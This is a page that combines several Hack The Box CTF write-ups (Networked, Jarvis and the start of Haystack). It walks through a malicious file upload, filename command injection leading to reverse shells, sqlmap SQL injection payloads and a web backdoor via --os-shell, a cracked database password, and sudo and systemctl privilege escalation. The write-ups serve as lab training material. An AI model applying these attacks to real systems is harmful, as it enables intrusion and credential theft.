Today we are going to solve another CTF challenge “Networked” which is available online for those who want to increase their skill in penetration testing and black box testing.
Level: Medium
Task: find user.txt and root.txt file on victim’s machine
Let’s start with a nmap scan
root@kali:~/htb/networked# nmap -sC -sV 10.10.10.146
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-19 12:59 EST
Nmap scan report for 10.10.10.146
Host is up (0.024s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.12 seconds
Looks like we have only the http service to explore. Here’s what it looks like.
┌─[puck@parrot-lt]─[~/htb/networked]
└──╼ $curl http://10.10.10.146 | html2text
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:--100 229 100 229 0 0 1198 0 --:--:-- --:--:-- --:--:-- 1198
Hello mate, we're building the new FaceMash! Help by funding us and be the new
Tyler&Cameron! Join us at the pool party this Sat to get a glimpse
┌─[puck@parrot-lt]─[~/htb/networked]
I’ve no idea what it means. Well, moving on to the next step.
Directory/File Enumeration
Let’s kick things off with wfuzz and SecLists.
# wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt --hc '403,404' http://10.10.10.146/FUZZ
********************************************************
* Wfuzz 2.2.1 - The Web Fuzzer *
********************************************************
Target: HTTP://10.10.10.146/FUZZ
Total requests: 4594
==================================================================
ID Response Lines Word Chars Request
==================================================================
00702: C=301 7 L 20 W 235 Ch "backup"
02095: C=200 8 L 40 W 229 Ch "index.php"
04196: C=301 7 L 20 W 236 Ch "uploads"
Total time: 93.26074
Processed Requests: 4594
Filtered Requests: 4591
Requests/sec.: 49.25974
The directory /backup sure looks interesting.
Let’s download it and see what’s inside.
Looks like the backup of the PHP files present in the site. If the acutal upload.php is identical to that of the backup, then there’s a vulnerability with the upload form.
As long as the extension ends with one of extensions, we should be able to upload a PHP file with double extension, e.g. cmd.php.gif. Here’s what cmd.php.gif looks like.
┌─[puck@parrot-lt]─[~/htb/networked]
└──╼ $nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.146] 58996
sh: no job control in this shell
sh-4.2$ script /dev/null -c bash
script /dev/null -c bash
bash-4.2$ id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-4.2$
.
We can’t read the flag as apache, but there are some other interesting readable stuff, crontab.guly shows that /home/guly/check_attack.php gets executed as guly every 3 minutes:
This script checks for files that aren’t supposed to be in the uploads directory and deletes them, the interesting part is how it deletes the files, it appends the file name to the rm command without any filtering which makes it vulnerable to command injection:
And $value is the suspicious file’s name.
We can simply go to /var/www/html/uploads and create a file that holds the payload in its name. The name will start with a semicolon ; (to inject the new command) then the reverse shell command.
If the files were to be believed, then a cron job will check and report to guly with mail($to, $msg, $msg, $headers, "-F$value"); at every three minutes, for files in /var/www/html/uploads that doesn’t begin with an IP address. This is easy to exploit. We can simply touch a file with a file name that begins with ; to separate sendmail from the command that we want to execute.
┌─[✗]─[puck@parrot-lt]─[/opt/Certipy]
└──╼ $nc -nlvp 9002
listening on [any] 9002 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.146] 46074
id
uid=1000(guly) gid=1000(guly) groups=1000(guly)
python -c "import pty;pty.spawn('/bin/bash')"
[guly@networked ~]$ ls
ls
check_attack.php crontab.guly user.txt
[guly@networked ~]$
Getting root.txt
During enumeration of guly‘s account, I notice guly is able to run the following command as root without password.
[guly@networked ~]$ sudo -l
sudo -l
Matching Defaults entries for guly on networked:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh
[guly@networked ~]$
Check out the code in the script.
#!/bin/bash -pcat> /etc/sysconfig/network-scripts/ifcfg-guly <<EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
regexp="^[a-zA-Z0-9_\ /-]+$"for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO;do
echo"interface $var:"read x
while[[!$x=~ $regexp]];do
echo"wrong input, try again"echo"interface $var:"read x
done
echo$var=$x>> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0
Firstly, all the network scripts are written in bash. Furthermore, the single space character is allowed in the regular expression. Space is recognized as one of internal field separators (or IFS), which in this case really plays to our advantage, as you shall see.
We’re only interested in the NAME option because according to this page we can inject commands in the interface name. Let’s try to execute bash:
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
sudo /usr/local/sbin/changename.sh
interface NAME:
test bash
test bash
interface PROXY_METHOD:
test
test
interface BROWSER_ONLY:
test
test
interface BOOTPROTO:
test
test
[root@networked network-scripts]# id
id
uid=0(root) gid=0(root) groups=0(root)
[root@networked network-scripts]#
Today we are going to solve another CTF challenge “Jarvis” which is available online for those who want to increase their skill in penetration testing and black box testing. Node is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Medium
Task: find user.txt and root.txt file on victim’s machine.
C:\PENTEST>nmap -sC -sV 10.10.10.143
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-16 14:54 W. Europe Standard Time
Nmap scan report for 10.10.10.143
Host is up (0.026s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
| 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.30 seconds
We got ssh on port 22 and http on port 80. Let’s take a look at the web service.
Web Enumeration
By visiting http://jarvis.htb/ we get a website for a hotel called Stark Hotel:
I ran gobuster to check for any sub directories and the only interesting thing I found was /phpmyadmin:
phpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the Web. phpMyAdmin supports a wide range of operations on MySQL and MariaDB. Frequently used operations (managing databases, tables, columns, relations, indexes, users, permissions, etc) can be performed via the user interface, while you still have the ability to directly execute any SQL statement. –phpmyadmin.net
That can be useful later if we could find the credentials, but for now let’s concentrate on the web application.
SQLi in room.php
Back to the “Rooms & Suites” section in the main page, clicking on any of these rooms requests /room.php with a parameter called cod that holds the room number:
I tried replacing the number with a single quote ' and I got a weird response:
So I ran sqlmap but I got a 404 response:
root@kali:~/Desktop/HTB/boxes/jarvis#sqlmap-uhttp://jarvis.htb/room.php?cod=1_____H________[(]___________{1.3.4#stable}|_-|.[)]|.'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user'sresponsibilitytoobeyallapplicablelocal,stateandfederallaws.Developersassumenoliabilityandarenotresponsibleforanymisuseordamagecausedbythisprogram[*]starting@17:43:03/2019-11-08/[17:43:03][INFO]testingconnectiontothetargetURL[17:43:04][INFO]checkingifthetargetisprotectedbysomekindofWAF/IPS[17:43:04][INFO]testingifthetargetURLcontentisstable[17:43:05][INFO]heuristicsdetectedwebpagecharset'ascii'[17:43:05][WARNING]targetURLcontentisnotstable(i.e.contentdiffers).sqlmapwillbasethepagecomparisononasequencematcher.Ifnodynamicnorinjectableparametersaredetected,orincaseofjunkresults,refertouser's manual paragraph 'Pagecomparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C
[17:43:13] [INFO] searching for dynamic content
[17:43:13] [CRITICAL] page not found (404)
[17:43:13] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 2 times
[*] ending @ 17:43:13 /2019-11-08/
I checked the page again and saw a message indicating that I got banned for 90 seconds:
I assumed that it checks for the user-agent because the ban happened immediately, so I added the --user-agent option and used Firefox user-agent, that was enough to bypass the filter:
root@kali:~/Desktop/HTB/boxes/jarvis#sqlmap-uhttp://jarvis.htb/room.php?cod=1--user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" _____H________[(]___________{1.3.4#stable}|_-|.[,]|.'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user'sresponsibilitytoobeyallapplicablelocal,stateandfederallaws.Developersassumenoliabilityandarenotresponsibleforanymisuseordamagecausedbythisprogram[*]starting@22:15:42/2019-11-08/[22:15:42][INFO]testingconnectiontothetargetURL[22:15:43][INFO]checkingifthetargetisprotectedbysomekindofWAF/IPS[22:15:43][INFO]testingifthetargetURLcontentisstable[22:15:44][INFO]targetURLcontentisstable[22:15:44][INFO]testingifGETparameter'cod'isdynamic[22:15:45][INFO]GETparameter'cod'appearstobedynamic[22:15:46][INFO]heuristic(basic)testshowsthatGETparameter'cod'mightbeinjectable[22:15:46][INFO]testingforSQLinjectiononGETparameter'cod'[22:15:46][INFO]testing'AND boolean-based blind - WHERE or HAVING clause'[22:15:48][INFO]GETparameter'cod'appearstobe'AND boolean-based blind - WHERE or HAVING clause'injectable(with--string="of")[22:15:52][INFO]heuristic(extended)testshowsthattheback-endDBMScouldbe'MySQL'itlooksliketheback-endDBMSis'MySQL'.DoyouwanttoskiptestpayloadsspecificforotherDBMSes?[Y/n]nfortheremainingtests,doyouwanttoincludealltestsfor'MySQL'extendingprovidedlevel(1)andrisk(1)values?[Y/n]y[22:15:56][INFO]testing'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'[22:15:56][INFO]testing'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'[22:15:57][INFO]testing'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'[22:15:57][INFO]testing'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'[22:15:57][INFO]testing'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'[22:15:57][INFO]testing'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'[22:15:58][INFO]testing'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'[22:15:58][INFO]testing'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'[22:15:58][INFO]testing'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'[22:15:58][INFO]testing'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'[22:16:00][INFO]testing'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'[22:16:00][INFO]testing'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'[22:16:00][INFO]testing'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'[22:16:00][INFO]testing'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'[22:16:01][INFO]testing'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'[22:16:01][INFO]testing'PostgreSQL AND error-based - WHERE or HAVING clause'[22:16:01][INFO]testing'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'[22:16:02][INFO]testing'Oracle AND error-based - WHERE or HAVING clause (XMLType)'[22:16:02][INFO]testing'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'[22:16:02][INFO]testing'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'[22:16:03][INFO]testing'MySQL >= 5.5 error-based - Parameter replace (EXP)'[22:16:03][INFO]testing'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'[22:16:03][INFO]testing'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'[22:16:04][INFO]testing'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'[22:16:04][INFO]testing'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'[22:16:06][INFO]testing'MySQL inline queries'[22:16:06][INFO]testing'PostgreSQL inline queries'[22:16:06][INFO]testing'Microsoft SQL Server/Sybase inline queries'[22:16:07][INFO]testing'MySQL > 5.0.11 stacked queries (comment)'[22:16:08][INFO]testing'MySQL > 5.0.11 stacked queries'[22:16:08][INFO]testing'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'[22:16:08][INFO]testing'MySQL > 5.0.11 stacked queries (query SLEEP)'[22:16:09][INFO]testing'MySQL < 5.0.12 stacked queries (heavy query - comment)'[22:16:09][INFO]testing'MySQL < 5.0.12 stacked queries (heavy query)'[22:16:10][INFO]testing'PostgreSQL > 8.1 stacked queries (comment)'[22:16:10][INFO]testing'Microsoft SQL Server/Sybase stacked queries (comment)'[22:16:10][INFO]testing'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'[22:16:10][INFO]testing'MySQL >= 5.0.12 AND time-based blind'[22:16:22][INFO]GETparameter'cod'appearstobe'MySQL >= 5.0.12 AND time-based blind'injectable[22:16:22][INFO]testing'Generic UNION query (NULL) - 1 to 20 columns'[22:16:22][INFO]automaticallyextendingrangesforUNIONqueryinjectiontechniquetestsasthereisatleastoneother(potential)techniquefound[22:16:22][INFO]'ORDER BY'techniqueappearstobeusable.Thisshouldreducethetimeneededtofindtherightnumberofquerycolumns.AutomaticallyextendingtherangeforcurrentUNIONqueryinjectiontechniquetest[22:16:23][INFO]targetURLappearstohave7columnsinquery[22:16:28][INFO]GETparameter'cod'is'Generic UNION query (NULL) - 1 to 20 columns'injectableGETparameter'cod'isvulnerable.Doyouwanttokeeptestingtheothers(ifany)?[y/N]nsqlmapidentifiedthefollowinginjectionpoint(s)withatotalof80HTTP(s)requests:---Parameter:cod(GET)Type:boolean-basedblindTitle:ANDboolean-basedblind-WHEREorHAVINGclausePayload:cod=1AND9726=9726Type:time-basedblindTitle:MySQL>=5.0.12ANDtime-basedblindPayload:cod=1ANDSLEEP(5)Type:UNIONqueryTitle:GenericUNIONquery(NULL)-7columnsPayload:cod=-6795UNIONALLSELECTNULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr---[22:16:33][INFO]theback-endDBMSisMySQLwebserveroperatingsystem:LinuxDebian9.0(stretch)webapplicationtechnology:Apache2.4.25back-endDBMS:MySQL>=5.0.12[22:16:33][INFO]fetcheddataloggedtotextfilesunder'/root/.sqlmap/output/jarvis.htb'[*]ending@22:16:33/2019-11-08/root@kali:~/Desktop/HTB/boxes/jarvis#
RCE –> Shell as www-data
I could get RCE in 2 different ways.
First way:
By using the os-shell option in sqlmap:
root@kali:~/Desktop/HTB/boxes/jarvis#sqlmap-uhttp://jarvis.htb/room.php?cod=1--user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" --os-shell _____H________[,]___________{1.3.4#stable}|_-|.["] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 22:23:10 /2019-11-08/
[22:23:10] [INFO] resuming back-end DBMS 'mysql'
[22:23:10] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=1 AND 9726=9726
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: cod=1 AND SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-6795 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr
---
[22:23:11] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[22:23:11] [INFO] going to use a web backdoor for command prompt
[22:23:11] [INFO] fingerprinting the back-end DBMS operating system
[22:23:11] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
[22:23:13] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /usr/local/apache2/htdocs, /var/www/nginx-default, /srv/www') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths: /var/www/html
[22:23:40] [INFO] retrieved web server absolute paths: '/images/'
[22:23:40] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method
[22:23:42] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://jarvis.htb:80/tmpuujaq.php
[22:23:43] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://jarvis.htb:80/tmpbtwbt.php
[22:23:43] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] a
command standard output: 'www-data'
os-shell> id
command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
os-shell>
From here we can simply execute a reverse shell command and get a shell.
I used the --passwords option to dump the users’ password hashes:
root@kali:~/Desktop/HTB/boxes/jarvis#sqlmap-uhttp://jarvis.htb/room.php?cod=1--user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" --passwords _____H________[,]___________{1.3.4#stable}|_-|.[,]|.'| . |
|___|_ [']_|_|_|__,|_||_|V...|_|http://sqlmap.org[!]legaldisclaimer:Usageofsqlmapforattackingtargetswithoutpriormutualconsentisillegal.Itistheenduser's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 22:17:45 /2019-11-08/
[22:17:46] [INFO] resuming back-end DBMS 'mysql'
[22:17:46] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=1 AND 9726=9726
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: cod=1 AND SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-6795 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr
---
[22:17:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[22:17:46] [INFO] fetching database users password hashes
[22:17:46] [INFO] used SQL query returns 1 entry
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[22:17:53] [INFO] writing hashes to a temporary file '/tmp/sqlmapbAZ4vg2489/sqlmaphashes-KkbVkR.txt'
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] n
database management system users password hashes:
[*] DBadmin [1]:
password hash: *2D2B7A5E4E637B8FBA1D17F40318F277D29964D0
[22:17:55] [INFO] fetched data logged to text files under '/root/.sqlmap/output/jarvis.htb'
[*] ending @ 22:17:55 /2019-11-08/
root@kali:~/Desktop/HTB/boxes/jarvis#
I got the password hash for DBadmin, I cracked it with crackstation:
Then I tried these credentials (DBadmin : imissyou) with phpmyadmin and I got in:
root@kali:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1337
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.143.
Ncat: Connection from 10.10.10.143:57400.
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@jarvis:/var/www/html$ ^Z
[1]+ Stopped nc -lvnp 1337
root@kali:~/Desktop/HTB/boxes/jarvis# stty raw -echo
root@kali:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1337
www-data@jarvis:/var/www/html$ export TERM=screen
www-data@jarvis:/var/www/html$
Command Injection in simpler.py –> Shell as pepper –> User Flag
I checked the home directory and there was a user called pepper, I couldn’t read the user flag as www-data:
www-data@jarvis:/var/www/html$ cd /home/
www-data@jarvis:/home$ ls -al
total 12
drwxr-xr-x 3 root root 4096 Mar 2 2019 .
drwxr-xr-x 23 root root 4096 Mar 3 2019 ..
drwxr-xr-x 4 pepper pepper 4096 Mar 5 2019 pepper
www-data@jarvis:/home$ cd pepper/
www-data@jarvis:/home/pepper$ ls -al
total 32
drwxr-xr-x 4 pepper pepper 4096 Mar 5 2019 .
drwxr-xr-x 3 root root 4096 Mar 2 2019 ..
lrwxrwxrwx 1 root root 9 Mar 4 2019 .bash_history -> /dev/null
-rw-r--r-- 1 pepper pepper 220 Mar 2 2019 .bash_logout
-rw-r--r-- 1 pepper pepper 3526 Mar 2 2019 .bashrc
drwxr-xr-x 2 pepper pepper 4096 Mar 2 2019 .nano
-rw-r--r-- 1 pepper pepper 675 Mar 2 2019 .profile
drwxr-xr-x 3 pepper pepper 4096 Mar 4 2019 Web
-r--r----- 1 root pepper 33 Mar 5 2019 user.txt
www-data@jarvis:/home/pepper$ cat user.txt
cat: user.txt: Permission denied
www-data@jarvis:/home/pepper$
By running sudo -l I saw that I can run /var/www/Admin-Utilities/simpler.py as pepper without a password:
www-data@jarvis:/home/pepper$ sudo -l
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
www-data@jarvis:/home/pepper$
The most interesting function in this script is exec_ping:
defexec_ping():forbidden=['&',';','-','`','||','|']command=input('Enter an IP: ')foriinforbidden:ifiincommand:print('Got you')exit()os.system('ping '+command)
It takes our input (it assumes that it’s an ip) and executes ping on it, to prevent command injection it checks for these characters:
& ; - ` || |
However, It doesn’t check for the dollar sign ($), the dollar sign can be used to execute commands like this: $(command)
So for example if we do ping -c 1 $(echo 127.0.0.1), echo 127.0.0.1 will be executed first then the ping command will be executed:
root@kali:~/Desktop/HTB/boxes/jarvis# ping -c 1 $(echo 127.0.0.1)
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.072 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.072/0.072/0.072/0.000 ms
root@kali:~/Desktop/HTB/boxes/jarvis#
ping -c 1 $(whoami) will result in an error message because it will try to ping root which is not a valid hostname:
root@kali:~/htb/jarvis# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): ./jarvis_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./jarvis_rsa.
Your public key has been saved in ./jarvis_rsa.pub.
The key fingerprint is:
SHA256:cpFcuepmUeVN83IFzhKMDvuWZ4l9zYxIV8u5vdGIy6s root@kali
The key's randomart image is:
+---[RSA 2048]----+
| .+. .. |
| ..oo o+o o|
| ++ +.o+++|
| ..+ o.++o|
| . S+ = = O+|
| oo = B +o*|
| . o + o o|
| + o . |
| o E... |
+----[SHA256]-----+
root@kali:~/htb/jarvis# ssh -i jarvis_rsa pepper@10.10.10.143
The authenticity of host '10.10.10.143 (10.10.10.143)' can't be established.
ECDSA key fingerprint is SHA256:oPoKu2vmqVfC1e3TJJ5ZB8yL/2/W2YIrglCm8FTTuSs.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.10.143' (ECDSA) to the list of known hosts.
Linux jarvis 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Mar 5 10:23:48 2019 from 172.16.204.1
pepper@jarvis:~$
systemctl may be used to introspect and control the state of the “systemd” system and service manager. –man7.org
To verify that it can be abused I checked gtfobins and found a page for it.
We need to create a service that executes a file of our choice when it starts, then we’ll use systemctl to enable and start it and the file will get executed as root.
I created a service that executes /dev/shm/root.sh:
pepper@jarvis:/dev/shm$ su rooot
Password: AAAA
root@jarvis:/dev/shm# id
uid=0(root) gid=0(root) groups=0(root)
root@jarvis:/dev/shm# whoami
root
root@jarvis:/dev/shm# cd /root/
root@jarvis:~# ls -al
total 52
drwx------ 6 root root 4096 Mar 5 2019 .
drwxr-xr-x 23 root root 4096 Mar 3 2019 ..
lrwxrwxrwx 1 root root 9 Mar 4 2019 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 4 root root 4096 Mar 3 2019 .cache
-rwxr--r-- 1 root root 42 Mar 4 2019 clean.sh
drwxr-xr-x 3 root root 4096 Mar 3 2019 .config
drwxr-xr-x 3 root root 4096 Mar 3 2019 .local
lrwxrwxrwx 1 root root 9 Mar 4 2019 .mysql_history -> /dev/null
drwxr-xr-x 2 root root 4096 Mar 2 2019 .nano
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
lrwxrwxrwx 1 root root 9 Mar 4 2019 .python_history -> /dev/null
-r-------- 1 root root 33 Mar 5 2019 root.txt
-rw-r--r-- 1 root root 66 Mar 4 2019 .selected_editor
-rwxr-xr-x 1 root root 5271 Mar 5 2019 sqli_defender.py
root@jarvis:~#
And we owned root !
All credits to : https://0xrick.github.io/hack-the-box/jarvis/
Alternative service privesc way:
On /lib/systemd/system or /etc/systemd/system there’s no write permissions so participants will have to know how to create a service using the link option: –> Link a unit file that is not in the unit file search paths into the unit file search path. This command expects an absolute path to a unit file.
root@kali:~# nc -lvp 8080
listening on [any] 8080 ...
10.10.10.143: inverse host lookup failed: Unknown host
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.143] 38116
bash: cannot set terminal process group (16859): Inappropriate ioctl for device
bash: no job control in this shell
root@jarvis:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@jarvis:/# cat /root/root.txt
cat /root/root.txt
d41*****271
Today we are going to solve another CTF challenge “Haystack” which is available online for those who want to increase their skill in penetration testing and black box testing. Node is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Easy
Task: find user.txt and root.txt file on victim’s machine.
c:\PENTEST>nmap -sV -sT -sC 10.10.10.115
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-14 13:31 W. Europe Standard Time
Stats: 0:00:44 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 68.65% done; ETC: 13:32 (0:00:13 remaining)
Nmap scan report for 10.10.10.115
Host is up (0.025s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
| 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
